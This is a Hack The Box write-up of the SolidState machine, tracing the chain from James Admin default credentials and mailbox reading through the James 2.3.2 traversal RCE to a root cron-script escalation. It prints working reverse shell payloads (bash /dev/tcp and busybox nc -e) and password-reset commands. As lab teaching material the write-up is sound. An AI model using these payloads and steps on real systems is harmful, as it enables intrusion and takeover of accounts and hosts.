SolidState — Hack The Box

InfoValue
OSLinux (Debian 9, i686)
DifficultyMedium
IP10.129.9.253
Hostnamesolidstate.htb
ServicesSSH (22), SMTP (25), HTTP (80), POP3 (110), NNTP (119), James Admin (4555)

Enumeration

Nmap

sudo nmap -Pn -sC -sV -p- -vvv -oA scan/nmap.scan solidstate.htb

Open ports:

  • 22/tcp — OpenSSH 7.4p1 Debian 10+deb9u1
  • 25/tcp — JAMES SMTP Server 2.3.2
  • 80/tcp — Apache httpd 2.4.25 (Debian) — “Home - Solid State Security”
  • 110/tcp — JAMES POP3 Server 2.3.2
  • 119/tcp — NNTP
  • 4555/tcp — JAMES Remote Administration Tool 2.3.2

The attack surface is dominated by Apache James 2.3.2, which exposes 4 ports (SMTP, POP3, NNTP, Admin). The Admin service on port 4555 is particularly critical — a full management tool with known default credentials.

Web Enumeration (port 80)

Port 80 serves a static HTML5 site (Solid State Security). Enumerated with feroxbuster and dirsearch:

feroxbuster -u http://solidstate.htb/ -x js,html,php,txt,json,docx -o scan/poison.dir
dirsearch -u http://solidstate.htb/

Results: only static files (index.html, about.html, services.html, assets/, images/, LICENSE.txt, README.txt). /server-status returns 403. No dynamic content, no attack vector.

Vhost fuzzing with ffuf:

ffuf -H "Host: FUZZ.solidstate.htb" -H "User-Agent: PENTEST" -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://solidstate.htb/ -fs 7776

All subdomains return the same page (size 7776). No valid virtual hosts. The website is a dead end.


Foothold — Apache James 2.3.2

James Remote Administration Tool (port 4555)

Apache James 2.3.2 exposes a remote administration interface on port 4555 with default credentials root:root.

nc solidstate.htb 4555
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id: root
Password: root
Welcome root. HELP for a list of commands

Mail account enumeration:

listusers
Existing accounts 6
user: james
user: ../../../../../../../../etc/bash_completion.d
user: thomas
user: john
user: mindy
user: mailadmin

The user ../../../../../../../../etc/bash_completion.d is an artifact from the James RCE exploit (see below) — it indicates the exploit has already been deployed on the machine.

Password reset and POP3 mail reading

To access the mailboxes, passwords are reset via James Admin:

setpassword thomas pwn
Password for thomas reset
setpassword john pwn
Password for john reset
setpassword mindy pwn
Password for mindy reset
setpassword mailadmin pwn
Password for mailadmin reset

POP3 connection to read emails. The james, thomas, and mailadmin mailboxes are empty. mindy’s mailbox contains 2 messages:

telnet solidstate.htb 110
USER mindy
PASS pwn
+OK Welcome mindy
STAT
+OK 2 1945

RETR 1
+OK Message follows
Return-Path: <mailadmin@localhost>
Subject: Welcome
Dear Mindy,
Welcome to Solid State Security Cyber team! We are delighted you are joining
us as a junior defense analyst...
James

RETR 2
+OK Message follows
Return-Path: <mailadmin@localhost>
Subject: Your Access
Dear Mindy,
Here are your ssh credentials to access the system. Remember to reset your
password after your first login.
Your access is restricted at the moment, feel free to ask your supervisor
to add any commands you need to your path.
username: mindy
pass: P@55W0rd1!2@
Respectfully,
James

Credentials found

mindy:P@55W0rd1!2@ — SSH credentials found in mindy’s second email. The message explicitly mentions the access is “restricted” — a hint towards the restricted shell.

Apache James 2.3.2 — RCE via Directory Traversal

Vulnerability

Apache James Server 2.3.2 — Remote Command Execution (Authenticated). The admin interface allows creating users with arbitrary names, including path traversal sequences. By creating a user named ../../../../../../../../etc/bash_completion.d, the mail delivery directory becomes /etc/bash_completion.d/. Any email sent to this user is saved as a file in that directory. Since bash sources all files in /etc/bash_completion.d/ on login, the email content (including shell code) executes when any user SSH’s in.

Structural root cause: missing username sanitization in the James admin interface. The server allows path traversal in user creation, enabling arbitrary file writes to the filesystem as root (since James runs as root).

The exploit (exploit.py — shinris3n, Python 3 version):

  1. Authenticates to James Admin with root:root on port 4555
  2. Creates the traversal user ../../../../../../../../etc/bash_completion.d
  3. Connects to port 25 (SMTP) and sends an email to that user containing a reverse shell payload
  4. The payload triggers when any user SSH’s into the target
python3 exploit.py 10.129.9.253 10.10.14.139 443

The payload embedded in the email:

/bin/bash -i >& /dev/tcp/10.10.14.139/443 0>&1

Triggering the exploit — SSH as mindy

Start the listener:

nc -nvlp 443

SSH as mindy to trigger the payload in bash_completion.d:

ssh mindy@solidstate.htb
# Password: P@55W0rd1!2@

On login, bash sources the file in /etc/bash_completion.d/ and the reverse shell payload executes:

connect to [10.10.14.139] from (UNKNOWN) [10.129.9.253] 35412

Shell obtained as mindy:

id
uid=1001(mindy) gid=1001(mindy) groups=1001(mindy)

Restricted shell bypass

Mindy’s default shell is /bin/rbash with access limited to 3 commands (cat, env, ls) via symlinks in ~/bin/. The reverse shell automatically bypasses this restriction since the payload executes /bin/bash directly, without going through rbash.

User flag:

cat /home/mindy/user.txt

Post-Exploitation — Enumeration as mindy

System

uname -a
Linux solidstate 4.9.0-3-686-pae #1 SMP Debian 4.9.30-2+deb9u3 (2017-08-06) i686 GNU/Linux

32-bit, Debian 9 (Stretch). Outdated kernel.

Users

root:x:0:0:root:/root:/bin/bash
james:x:1000:1000:james:/home/james/:/bin/bash
mindy:x:1001:1001:mindy:/home/mindy:/bin/rbash

SUID binaries

find / -perm -4000 -type f 2>/dev/null
/bin/su
/bin/mount
/bin/umount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

All standard binaries. No unusual SUID.

Sudo

sudo -l
bash: sudo: command not found

sudo is not installed. No escalation via sudo.

Root processes

ps aux | grep root

Key processes:

  • /bin/sh /opt/james-2.3.2/bin/run.sh — James server (root)
  • /usr/sbin/cron -f — cron daemon (root)
  • /usr/sbin/cupsd -l — CUPS (root)
  • /usr/sbin/cups-browsed — CUPS browsed (root)

Internal network

ss -tlnp
  • SSH (22), SMTP (25), HTTP (80), POP3 (110), NNTP (119), James Admin (4555) — all interfaces
  • CUPS (631) — localhost only (not reachable externally)

Writable directories

find / -writable -type d 2>/dev/null
/dev/shm
/var/tmp
/tmp
/home/mindy
/home/mindy/bin

Privilege Escalation — mindy → root

Rabbit hole: CUPS (CVE-2024-47176)

CUPS is running as root with cups-browsed listening on UDP 631 (0.0.0.0). Attempted exploitation via ligolo port forwarding and malicious IPP server sending crafted browsed packets.

Does not work for three reasons:

  1. The exploit requires someone to submit a print job to the malicious printer — on a headless machine nobody will ever print
  2. Even if triggered, the command executes as lp user, not root
  3. CUPS TCP service listens only on localhost, complicating the callback connection

Actual vector: cron job + world-writable script

In /opt/ there is a Python script with world-writable permissions:

ls -la /opt/tmp.py
-rwxrwxrwx 1 root root 105 Aug 22 2017 tmp.py

Original content:

#!/usr/bin/env python
import os
import sys
try:
     os.system('rm -r /tmp/* ')
except:
     sys.exit()

The script cleans /tmp/ — a classic maintenance task. The cron job executing it is not visible in /etc/crontab (which only contains standard hourly/daily/weekly/monthly jobs). The job is configured directly in root’s crontab, not accessible to mindy via crontab -l.

Vulnerability

World-writable script executed by root cron job. The script /opt/tmp.py has permissions -rwxrwxrwx (777), allowing any user to modify its content. A root cron job executes it periodically. Any code written into the file runs as root on the next cycle.

Structural root cause: excessive permissions on a script executed with elevated privileges. The file should be 0755 (or 0700) with owner root:root, not 0777. The combination of world-writable permissions + root cron execution is a classic misconfiguration enabling immediate privilege escalation.

Exploitation

Modified the script with nano to insert a reverse shell via busybox (available on the target):

#!/usr/bin/env python
import os
import sys
try:
     os.system('busybox nc 10.10.14.139 443 -e /bin/bash')
except:
     sys.exit()

Why busybox nc?

The standard nc on Debian 9 is the OpenBSD variant which does not support -e (command execution on connection). busybox nc includes the -e flag, making it the most reliable method for a reverse shell without additional dependencies. Alternative: bash -i >& /dev/tcp/IP/PORT 0>&1.

Start the listener:

nc -nvlp 443

Wait for the cron job to execute (interval of a few minutes):

connect to [10.10.14.139] from (UNKNOWN) [10.129.9.253] 44650

Root shell

id
uid=0(root) gid=0(root) groups=0(root)
 
cat /root/root.txt
2d3f183f9f38468c4740e02c09261bfd

Attack Chain Summary

Nmap → 6 ports (22, 25, 80, 110, 119, 4555)
  ↓
Web (80) → static site → dead end
  ↓
James Admin (4555) → default creds root:root → listusers → 5 mail accounts
  ↓
setpassword on all users → POP3 (110) → mindy's email → SSH creds mindy:P@55W0rd1!2@
  ↓
James RCE exploit → directory traversal user → mail with reverse shell in /etc/bash_completion.d/
  ↓
SSH as mindy → triggers bash_completion.d → reverse shell as mindy (rbash bypassed)
  ↓
/opt/tmp.py world-writable (777) → modified with busybox reverse shell → root cron job → root

Flags

  • User: obtained as mindy (via James RCE + bash_completion.d trigger)
  • Root: 2d3f183f9f38468c4740e02c09261bfd (via cron job + world-writable script)

Lessons Learned

  • Default credentials are the initial vector: James Admin uses root:root by default. The first action on any unfamiliar service is to test default credentials — no sophisticated exploit needed.
  • Internal emails are a goldmine: employee mailboxes often contain plaintext credentials. After gaining admin access to the mail server, read ALL mailboxes, not just the first one.
  • The website was a distractor: despite Apache on port 80, the real attack vector was the James service. Don’t invest too much time on a static attack surface when more promising services are available.
  • Directory traversal in user creation: the structural vulnerability in James is not a buffer overflow or injection — it’s the lack of username validation. A simple concept with devastating consequences.
  • bash_completion.d as a persistence vector: any file in /etc/bash_completion.d/ is executed on login. This legitimate bash mechanism becomes a code execution vector when an attacker can write files to that directory.
  • World-writable + cron = root: the combination of 777 permissions on a script and its periodic execution as root is a fatal misconfiguration. During post-exploitation, always look for writable files in non-standard directories (/opt/, /srv/, /usr/local/) — not just SUID and sudo.
  • CUPS on headless machines is a rabbit hole: the CUPS exploit requires a print job as trigger and yields a shell as lp, not root. On machines without a GUI and without users printing, it is not a viable vector.
  • busybox as a swiss-army knife: when the system’s nc does not support -e, check if busybox is available — its nc implementation includes the -e flag for command execution.

Timeline

  • Total time: ~3 hours (evening session 28/03 + completion 29/03)
  • Where I spent the most time: Web enumeration (rabbit hole), CUPS investigation (rabbit hole), multiple attempts with different exploit payloads
  • Subjective difficulty: /10